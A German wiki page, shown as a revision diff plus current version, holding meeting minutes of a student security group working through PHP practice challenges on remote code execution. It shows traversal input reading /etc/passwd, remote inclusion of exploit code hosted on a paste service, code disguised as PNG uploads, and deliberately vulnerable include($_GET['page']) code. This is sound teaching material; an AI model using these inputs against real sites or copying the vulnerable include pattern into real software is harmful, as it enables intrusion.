CInsects/Protokolle/CInsects:Treffen-2010-11-02: Unterschied zwischen den Versionen
(→Ablauf: init) |
K (Bot: Kosmetische Änderungen) |
||
(6 dazwischenliegende Versionen von einem anderen Benutzer werden nicht angezeigt) | |||
Zeile 5: | Zeile 5: | ||
== Ablauf == | == Ablauf == | ||
Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut. | Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut. | ||
== Hackit 1 == | |||
Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte. | |||
=== Directory Traversal === | |||
Es war moeglich ueber den [http://de.wikipedia.org/wiki/HTTP#HTTP_GET HTTP-GET-Parameter] Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal. | |||
=== Remote Code Inclusion/Execution === | |||
Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man [http://www.owasp.org/index.php/Code_Injection Remote Code Inclusion/Execution]. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=<nowiki>http://dpaste.com/</nowiki><Zahl>/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird. | |||
=== Quelltext === | |||
'''index.php''' | |||
<pre> | |||
<h1>Welcome to our cool clan page!</h1> | |||
<div style="float:left;"> | |||
<ul> | |||
<li><a href="?page=news.php">News</a></li> | |||
<li><a href="?page=memberz.php">Memberz</a></li> | |||
</ul> | |||
</div> | |||
<div id="content" style="margin-left:10em;"> | |||
<?php | |||
if(isset($_GET['page'])) { | |||
include($_GET['page']); | |||
} else { | |||
include('news.php'); | |||
} | |||
?> | |||
</div> | |||
</pre> | |||
== Hackit 1.5 == | |||
Hier war es nicht mehr moeglich externe Dateien einzufuegen. Dies lag daran, dass die Links im HTTP_GET-Parameter einen Prefix erhalten haben. Directory Traversal war weiterhin moeglich. | |||
=== Hochladen eines "Bildes" === | |||
Es gab eine weitere Datei bei der es moeglich war eine PNG-Datei hochzuladen. Es wurde nur geprueft, ob die Datei auf die Endung .png endet. Also konnte auch Quelltext mit der Endung .png hochgeladen werden und durch Aufruf (?page=../images/bild.png) der Datei auf dem Webserver ausgefuehrt werden. | |||
=== Hochladen von foo.php.png === | |||
Frueher war es moeglich, Dateien der Art foo.php.png hochzuladen, so wurde dann gleich der Quelltext in der Datei vom PHP Interpreter ausgefuehrt, weil .php im Dateinamen stand. Aktuelle Webserver pruefen dies zumindest fuer bekannte Dateitypen. | |||
=== Kommentar von PNG-Dateien === | |||
PNG-Dateien koennen Kommentare enthalten; ein Kommentar kann jeder beliebige Text sein. Dieser Exploit ist also auch moeglich, wenn geprueft wird, ob es sich um eine PNG-Datei handelt. Der PNG Kommentar wird bei Aufruf des Bildes ueber den HTTP_GET-Parameter (?page=../images/bild.png) ausgefuehrt. | |||
=== Quelltext === | |||
'''index.php:''' | |||
<pre> | |||
<h1>Welcome to our cool clan page!</h1> | |||
<div style="float:left;"> | |||
<ul> | |||
<li><a href="?page=news.php">News</a></li> | |||
<li><a href="?page=memberz.php">Memberz</a></li> | |||
</ul> | |||
</div> | |||
<div id="content" style="margin-left:10em;"> | |||
<?php | |||
if(isset($_GET['page'])) { | |||
include('pages/' . $_GET['page']); | |||
} else { | |||
include('news.php'); | |||
} | |||
?> | |||
</div> | |||
</pre> | |||
== Sonstiges == | == Sonstiges == | ||
Es wurde der kommende Termin angekuendigt an dem wir uns weiter mit Remote Code Execution beschaeftigt haben. | |||
== Links == | == Links == | ||
* Weblinks folgen vielleicht | * Weblinks folgen vielleicht | ||
[[Kategorie: CInsects-Protokolle]] | [[Kategorie:CInsects-Protokolle]] |
Aktuelle Version vom 8. Juni 2012, 16:12 Uhr
Diese Seite ist eine Unterseite von CInsects.
Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.
Ablauf[Bearbeiten]
Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.
Hackit 1[Bearbeiten]
Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.
Directory Traversal[Bearbeiten]
Es war moeglich ueber den HTTP-GET-Parameter Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.
Remote Code Inclusion/Execution[Bearbeiten]
Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man Remote Code Inclusion/Execution. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=http://dpaste.com/<Zahl>/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.
Quelltext[Bearbeiten]
index.php
<h1>Welcome to our cool clan page!</h1> <div style="float:left;"> <ul> <li><a href="?page=news.php">News</a></li> <li><a href="?page=memberz.php">Memberz</a></li> </ul> </div> <div id="content" style="margin-left:10em;"> <?php if(isset($_GET['page'])) { include($_GET['page']); } else { include('news.php'); } ?> </div>
Hackit 1.5[Bearbeiten]
Hier war es nicht mehr moeglich externe Dateien einzufuegen. Dies lag daran, dass die Links im HTTP_GET-Parameter einen Prefix erhalten haben. Directory Traversal war weiterhin moeglich.
Hochladen eines "Bildes"[Bearbeiten]
Es gab eine weitere Datei bei der es moeglich war eine PNG-Datei hochzuladen. Es wurde nur geprueft, ob die Datei auf die Endung .png endet. Also konnte auch Quelltext mit der Endung .png hochgeladen werden und durch Aufruf (?page=../images/bild.png) der Datei auf dem Webserver ausgefuehrt werden.
Hochladen von foo.php.png[Bearbeiten]
Frueher war es moeglich, Dateien der Art foo.php.png hochzuladen, so wurde dann gleich der Quelltext in der Datei vom PHP Interpreter ausgefuehrt, weil .php im Dateinamen stand. Aktuelle Webserver pruefen dies zumindest fuer bekannte Dateitypen.
Kommentar von PNG-Dateien[Bearbeiten]
PNG-Dateien koennen Kommentare enthalten; ein Kommentar kann jeder beliebige Text sein. Dieser Exploit ist also auch moeglich, wenn geprueft wird, ob es sich um eine PNG-Datei handelt. Der PNG Kommentar wird bei Aufruf des Bildes ueber den HTTP_GET-Parameter (?page=../images/bild.png) ausgefuehrt.
Quelltext[Bearbeiten]
index.php:
<h1>Welcome to our cool clan page!</h1> <div style="float:left;"> <ul> <li><a href="?page=news.php">News</a></li> <li><a href="?page=memberz.php">Memberz</a></li> </ul> </div> <div id="content" style="margin-left:10em;"> <?php if(isset($_GET['page'])) { include('pages/' . $_GET['page']); } else { include('news.php'); } ?> </div>
Sonstiges[Bearbeiten]
Es wurde der kommende Termin angekuendigt an dem wir uns weiter mit Remote Code Execution beschaeftigt haben.
Links[Bearbeiten]
- Weblinks folgen vielleicht